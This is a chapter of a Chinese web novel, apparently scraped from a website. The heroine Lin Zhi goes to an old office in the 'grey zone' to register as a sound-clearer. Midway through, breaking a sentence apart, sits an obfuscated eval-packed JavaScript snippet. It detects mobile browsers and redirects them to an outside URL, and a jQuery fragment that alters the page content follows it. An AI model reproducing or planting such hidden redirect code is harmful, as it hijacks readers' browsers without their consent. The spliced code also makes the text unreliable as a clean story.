阿松的事情过去两天后,林栀的名字开始在灰色地带传开了。
不是那种大张旗鼓的传,是东街摆摊的人私下说的,是修补店门口排队的人偶尔提的,是在街上走路时有人侧过头多看她一眼的那种传。
郑叔来过一次,放下两小块旧布,说他听说她帮了东街那个把自己关起来的人,又说没事,就是路过,顺便来坐坐。他走的时候像想起什么,在门口停了一下:“最近有人打听你,你多注意些。”
林栀站在门口,看他走远,灰光落在他微微驼着的背上。她没有追问是谁,因为她知道在灰色地带,有人知道你的名字不一定是因为好事。
第二天下午,沈默出门清西街的结晶,林栀说她也跟着去,两个人并排走着,灰雾在两侧缓缓翻涌。西街还是那条西街,空荡荡的,路面裂着大缝,墙角的旧泥灰塌了大半。沈默蹲下来清一块拳头大的结晶,林栀在旁边等着,看到巷口有个人影一闪而过,像有人在看她,但又没有走过来。
她没有告诉沈默,只是等清完结晶之后,两个人往回走的时候,她多看了一眼那个巷口的方向,那里已经没有人了。
沈默似乎也意识到了什么,他顺着林栀的视线看过去,没看见有什么东西,他将视线收回来,眉眼低垂,没人知道他在想什么。
晚上回到四楼,林栀把从东街带回来的两小块旧布放进柜子里。柜子里的东西已经多起来了,一叠叠好的旧布、几张旧纸币、赵小满的档案。她把门关好,在床边坐了一会儿,然后走到客厅。
此时的沈默正在窗台前蹲着,给那支枯草浇水。
“老魏今天下午来找过你,说有事要跟你说。”他说着,没有回头,“让你等会儿下去一趟。”
林栀靠着厨房门框:“什么事?”
“他没说。”沈默把喷壶放回窗台角落,“但他的表情不像是不好的事。”
林栀一个人下楼的时候,老魏的房门开着,他坐在旧沙发里,手里端着一只搪瓷缸,面前茶几上放着几样东西,一块旧布,一小袋干粮,还有一张叠好的旧纸币。
林栀看着茶几上那几样东西:“这些是……”
“有人送来的。”老魏说,“东街卖干粮的阿兰昨天来过,说谢谢你,阿兰就是你昨天救的阿松的妹妹。修补店的林昭也托人带了话,说你上次留的指纹很好,录入系统很顺利。”他停了一下,“还有一个人,没有留名字。”
林栀的目光落在那张叠好的旧纸币上:“他留了什么?”
“什么也没留。”老魏说,“他把这张纸币塞进一楼门缝里就走了,我在门内捡到的,没有看到人。”
老魏低头看了一眼自己的搪瓷缸,又说,“我不是叫你来收东西的,只是让你知道,你帮过的人,正在把你的名字传出去。这是好事,也是坏事。”
“坏事是什么?”
老魏把搪瓷缸放在茶几上,声音放低了一些:“灰色地带这些年,不是没有清音者来过的。来一个,走一个。有的人是自己走的,有的人是被人带走的。”
他黑亮的眼睛看着林栀,“你帮了阿松的事,灰色地带的人已经开始传了。有人会因此来找你帮忙,也有人会因此注意到你。你需要做一个登记,正式的清音者登记,在政府的系统里有你的名字。”
林栀看着他,有些讶然:“政府?”
不知道为何,林栀在这之前总以为这里没有政府了。
“对,你需要政府明面上的保护。”老魏说,“虽然现在政府......”
老魏的话停在了这里,没有继续说,他话音一转,开始继续解释,“之前的清音者登记处关闭之后,还有一个人在处理残留的档案,只要清音者想登记,他就能录入。”
他顿了一下,“以前我不让你去,是因为你还没有身份。现在你有身份了,你随时可以。”
林栀在沙发边缘坐下来,眼睛认真地看着老魏:“登记了会怎样?”
“登记了,你的名字会在政府的系统里,如果有人想动你,他们至少得走程序。”他拿起旁边的搪瓷缸喝了一口水,“这栋楼挡不住所有人,你挡不住所有人,但一张登记证明可以挡住一部分人。”
林栀想了一会儿这话,而后点了点头:“那登记处在哪里?”
“还在老地方,三年前关闭的那间旧楼,没有彻底废弃,还保留着登记的功能,只是没人去了。以前在登记处工作的老同事还在里面,虽然已经不对外办公了,但如果我去打招呼,他可以帮你录入。”他看了她一眼,“我知道你可能会犹豫,但是你最好先去,趁现在还来得及。”
林栀没有说话。她低头看着茶几上那几样东西,阿兰的干粮、林昭的话、那张被人塞进门缝的旧纸币,它们摆在一起,像是来自不同方向的声音在告诉她:有人在感谢她,有人在提醒她,有人在寻找她。
她站起来:“我去。”
老魏点了点头:“明天下午我陪你。”
林栀走回四楼的时候沈默正蹲在窗台前,她走过去,在他旁边蹲下来。灰光从窗外涌进来,落在她和他之间的窗台上。那支枯草的青色已经爬到草茎中上部了,像一条正在慢慢走完的路。
“沈默。”
“嗯。”
“老魏说,明天下午带我去做清音者登记。”
沈默没有回头,他的手在喷壶上停了一下,然后放下喷壶,转过来看着她:“需要我跟你去吗?”
“好,你跟我去。”
沈默是她清醒过来第一个遇到的人,也是对她最好的人,似乎只要有他在,她就会觉得很有安全感。
他站起来,把喷壶放回窗台角落,说了一句:“行。”
第二天早上,三个人走出那栋旧楼。灰光从云层缝隙里漏下来,在东街的地面上投下一道道薄薄的亮线。
老魏走在最前面,步子不快不慢。沈默走在林栀旁边,背着他那只银灰色的设备,今天他用不上它,但他还是背着,像一种习惯。
登记处在东街尽头一栋旧楼的二楼,老魏走到楼下的时候,推开了那扇虚掩的铁门,吱呀一声。楼道里很暗,墙皮剥落了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734293|208738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一大片,楼梯扶手缺了一截,但地面是干净的,像有人定期来扫过。
他们走到二楼,走廊尽头有一扇门开着半扇,里面透出昏黄的灯光。老魏走过去敲了一下门,一个苍老的声音从里面传出来:“进来。”
屋里不大,一张旧办公桌,一把椅子,一个铁皮柜子。办公桌后面坐着一个头发花白的老人,大约六十岁,戴着老花镜,正低头看着一本翻开的旧册子。
他抬头看到老魏,推了一下眼镜,沙哑的声音透着惊讶:“老魏?你怎么来了?”
“带一个人来登记。”老魏侧过身,让出林栀的位置,“她叫林栀。”
老人的目光落在林栀身上,上上下下打量了几遍:“就是灰色地带最近在传的那个清音者?”
“嗯。”
老人沉默了一会儿,然后从抽屉里拿出一张空白的登记表,放在桌面上:“填吧,名字、出生日期、住址、能力描述。”
林栀走到桌前,拿起笔,在第一行写下“林栀”。
她不知道自己的出生日期,但她想了一下,写了一个日子,秋天的,灰光薄的,像她刚醒来那天。
老人在旁边等着,等她写完之后接过来看了一遍,然后从抽屉里取出一枚旧印章,蘸了印泥,盖在表格右下角。他的动作不快,像已经很多年没有做过这个动作了,但盖下去的时候很稳。
“行了,你的名字已经在政府的系统里了。”
他拿起一张薄薄的卡片,翻过来,用笔在上面写下日期和编号,递给她:“这张卡你收好,以后有人问你,你拿出这张卡就行。”
林栀没想到这么简单就完成了清音者登记,她还以为这名老者要亲眼看到她施展清音者的能力才会给她登记。
可能是因为老魏在,加上她这段时间传出来的名气?
林栀脑海中胡思乱想着,但不妨碍她双手接过那张卡片,薄薄的纸片上印着一行字:“清音者登记证明”,下面是她的名字和编号,墨迹还是新的。
她站在那里,低头看了一会儿,然后把卡片叠好放进了口袋里。
三个人走出那栋旧楼的时候,灰光正从东边照过来,落在林栀的肩上。她伸手碰了一下口袋里那张卡的边缘,纸面微微发烫,不是真的烫,是她手指的温度。
老魏在门口停了一下,没有回头:“好了,现在你的名字在政府的系统里了。虽然这个系统已经很久没有人管了,但它还在。”
林栀站在门口,灰光落在她肩上,她伸手碰了一下口袋里的卡片,那张卡还在,薄薄的,像一枚刚刚落定的锚点。她走下台阶的时候,沈默跟在她旁边,她没有看他的脸,但她知道他跟着她一起下来了。
他们走过东街的时候,有人在路边的摊位上抬起头看了她一眼,她没有认出来那个人是谁,但她知道自己口袋里有一张卡,上面写着她的名字,盖着政府的那枚印章。
她不知道这张卡能保护她多久,但至少在这一天,她觉得自己终于可以站在灰色地带的灰光里,而不需要藏在任何人的影子后面了。